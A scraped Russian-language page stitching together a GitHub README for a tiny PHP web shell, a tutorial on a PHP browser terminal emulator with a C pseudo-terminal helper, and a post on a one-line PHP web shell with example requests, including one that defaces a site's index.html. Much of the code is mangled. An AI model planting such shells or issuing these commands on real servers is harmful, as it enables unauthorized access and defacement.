Terminal

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Tiny PHP Web shell for executing unix commands from web page

License

artyuum/simple-php-web-shell

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

alt text

A really simple & tiny PHP Web shell for executing unix commands from web page.

Usage of this script as a backdoor in order to have external access to a server you do not own without prior consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

About

Tiny PHP Web shell for executing unix commands from web page

Источник

Пишем простенький веб-эмулятор терминала на PHP

Конечно же, такое решение вызывает целый набор проблем, самая незначительная из которых — это то, что ошибки на экран не попадают. Есть и намного более значительные вещи, например запуск vi просто «подвесит» выполнение команды и придется открывать новую консоль и писать killall vi . И что уж точно не получится сделать, так это выполнить команды ssh или sudo, которые требуют чтения пароля прямо с терминала. Я постараюсь показать способ, с помощью которого можно устранить большую часть описанных выше проблем.

Пишем простецкий эмулятор терминала на PHP

  • PHP 5.2+ (с напильником — PHP 4.3+)
  • Работающие функции system() и proc_open()
  • Работающая функция flush() (flush() для nginx)
  • term.js и utils.js из проекта JSLinux
  • Linux, Mac OS X на стороне сервера (на *BSD не проверял, возможно, требуются доработки)

Основная идея реализации

В документации к PHP сказано, что proc_open() предназначен для двухсторонней коммуникации с процессами, поэтому мы откроем bash в интерактивном режиме с помощью этой функции и будем дальше с ним работать. К сожалению, поддержки псевдотерминалов в PHP из коробки нет, поэтому реализацию нужной нам прослойки мы напишем на Си.

Какой-либо защиты, а также проверок на ошибки и корректного завершения терминала в этом примере не предполагается(!), об этом вам придется думать самим ;).

Файл shell.php

Получение ввода пользователя

Мы должны каким-то образом получать ввод от пользователя, например через FIFO-файл:

  function deleteTempFifo() < unlink($GLOBALS['temp_fifo']); >register_shutdown_function('deleteTempFifo'); $cmdfp = fopen($temp_fifo_file, 'r+'); stream_set_blocking($cmdfp, 0); 
Установка переменных окружения для терминала

JSLinux работает в режиме эмуляции vt100, мы тоже будем делать также 🙂

 putenv('TERM=vt100'); $cols = 80; // можно задать любые числа, в общем-то $rows = 24; 
Команда для запуска bash

В принципе, мы можем просто запустить » bash -i «, и это будет работать (даже » sh -i » будет работать), но ещё лучше, если мы сможем работать через псевдотерминал, программы будут вести себя более «естественно» в таком случае. Заодно мы можем использовать свой bashrc, в котором настроим цветное приглашение :).

 chdir(dirname(__FILE__)); $cmd ; // попробуем скомпилировать нашу утилиту для работы с псевдотерминалом (pt.c, будет приведена далее) // если программа не компилируется, просто не используем эту дополнительную прослойку if (!file_exists('pt')) < system('cc -D__'.strtoupper(trim(`uname`)).'__ -o pt pt.c -lutil 2>&1', $retval); if ($retval) echo('Warning: Cannot compile pseudotty helper'); > clearstatcache(); if (file_exists('pt')) $cmd = "./pt $rows $cols $cmd"; $pp = proc_open($cmd, array(array('pipe','r'), array('pipe', 'w')), $pipes); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); ?> 
Посылка команд из javascript

Мы будем делать по одному HTTP-запросу на символ (или больше символов, если сервер «не успевает»). Да, это может быть неоправданной тратой ресурсов в данном случае и можно всё сделать через вебсокеты, но в плане реализации моя схема намного проще :).

     
Чтение пользовательского ввода и исполнение команд

Читаем пользовательский ввод из нашего FIFO-файла, вывод нашей команды из соответствующего пайпа, всё в неблокирующем режиме, для простоты. Также, в качестве небольшого костыля, заменяем "\n" на "\r\n", так как на самом деле, term.js обрабатывает вывод драйвера последовательного порта, а не «сырой» вывод программы ;).

 \n"; flush(); while (!feof($pipes[1])) < $ln = fgets($pipes[1], 4096); if ($ln !== false) < $ln = str_replace("\n", "\r\n", $ln); echo ''; flush(); continue; > $inp_ln = fgets($cmdfp, 4096); if ($inp_ln !== false) < // ensure that command is fully written by setting blocking to 1 stream_set_blocking($pipes[0], 1); fwrite($pipes[0], $inp_ln); stream_set_blocking($pipes[0], 0); >usleep(20000); > proc_close($pp); ?> 
Очищаем прием команд после выхода

После того, как процесс завершился (например человек нажал Ctrl+D или ввел «exit»), нужно перестать отправлять пользовательский ввод на сервер, ибо принимать его всё равно больше некому :).

   

Файл send-cmd.php

Файл, на который мы отправляем команды, называется send-cmd.php и состоит вот из чего (да-да, никаких проверок входных параметров :)):

Файл bashrc

Вот какой bashrc я предлагаю использовать:

export PS1='\[\033[01;33m\]\u\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' export PS2='> ' export PS4='+ ' export LANG=en_US.UTF-8 echo Welcome to simple terminal emulator'!' echo Scroll up and down using Ctrl-Up, Ctrl-Down, Ctrl-PageUp and Ctrl-PageDown. echo Output handling is based on JSLinux term.js library. Enjoy'!' 

Файл pt.c

Утилиты для работы с псевдотерминалом уже существуют, например есть хорошая библиотека expect, которая делает почти то, что нам нужно. Тем не менее, мне показалось интересным написать свою утилиту, которая будет просто устанавливать нужные размеры терминала и выводить всё на stdout и принимать ввод на stdin:

#include #include #include #ifdef __LINUX__ #include #else #include #endif static void set_fds(fd_set *reads, int pttyno) < FD_ZERO(reads); FD_SET(0, reads); FD_SET(pttyno, reads); >int main(int argc, char *argv[]) < char buf[1024]; int pttyno, n = 0; int pid; struct winsize winsz; if (argc < 3) < fprintf(stderr, "Usage: %s   [args]\n", argv[0]); return 1; > winsz.ws_row = atoi(argv[1]); winsz.ws_col = atoi(argv[2]); winsz.ws_xpixel = winsz.ws_col * 14; winsz.ws_ypixel = winsz.ws_row * 14; pid = forkpty(&pttyno, NULL, NULL, &winsz); if (pid < 0) < perror("Cannot forkpty"); return 1; >else if (pid == 0) < execvp(argv[3], argv + 3); perror("Cannot exec bash"); >fd_set reads; set_fds(&reads, pttyno); while (select(pttyno + 1, &reads, NULL, NULL, NULL)) < if (FD_ISSET(0, &reads)) < n = read(0, buf, sizeof buf); if (n == 0) < return 0; >else if (n < 0) < perror("Could not read from stdin"); return 1; >write(pttyno, buf, n); > if (FD_ISSET(pttyno, &reads)) < n = read(pttyno, buf, sizeof buf); if (n == 0) < return 0; >else if (n < 0) < perror("Cannot read from ptty"); return 1; >write(1, buf, n); > set_fds(&reads, pttyno); > int statloc; wait(&statloc); return 0; > 

Демонстрация работы

К сожалению, ссылку на работающее демо я предоставить вам не могу, поскольку у меня нет сервера, который мне не жалко ;). Тем не менее, я записал короткое видео, которое показывает, как это работает:

Всё вместе

По идее, все исходные коды должны быть в данной статье. Если вам лениво, я выложил архив с соответствующими файлами на народ.диск

UPD:
Если программа pt.c не компилируется под FreeBSD, добавьте следующие заголовочные файлы в начало файла (а #include уберите):

#include #include #include #include

Источник

Однострочный PHP-скрипт для получения Shell-a.

, я слышал, как кто-то что-то упоминал об однострочном PHP-скрипте, по сути представляющем собою Shell. Я предположил, что написание такого скрипта не составит особого труда, поскольку он представляет собою всего одну строку. Поиск информации в Гугле не принёс больших результатов, возможно потому, что это слишком легко, или я использовал неправильные условия поиска. В любом случае, я забыл о скрипте на некоторое время. до сих пор.

Поскольку в настоящее время я изучаю PHP, меня интересует безопасность Web-приложений.
Обучение пока не закончено, но сегодня (при чтении о том, как вводить данные, прежде чем использовать “include”) я вспомнил об использовании однострочного PHP-скрипта.
Вот что у меня получилось:

Очевидно, web-приложение должно быть в некотором роде уязвимым, чтобы имелась возможность поместить этот сценарий на сервер. Как только уязвимость будет найдена, скрипт потенциально может быть использован для взлома сайта или создания его дампа.
Выходные данные скрипта -это просто текст, а не документ HTML. Поэтому, если вы используете веб-браузер, для просмотра результата необходимо смотреть исходный код страницы.

Я использовал shell_exec() вместо Just exec (), потому что он возвращает каждую строку вместо последней. Альтернативой является использование passthru (), который также будет отправлять двоичные данные. Но, чтобы получить и правильно работать с двоичными данными, придется также установить заголовки, что делает скрипт многострочным.
Я смог запустить команды unix (команды windows также должны работать, если хост работает под управлением windows) такие как:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

Источник

Читайте также:  Python datetime timezone offset
Оцените статью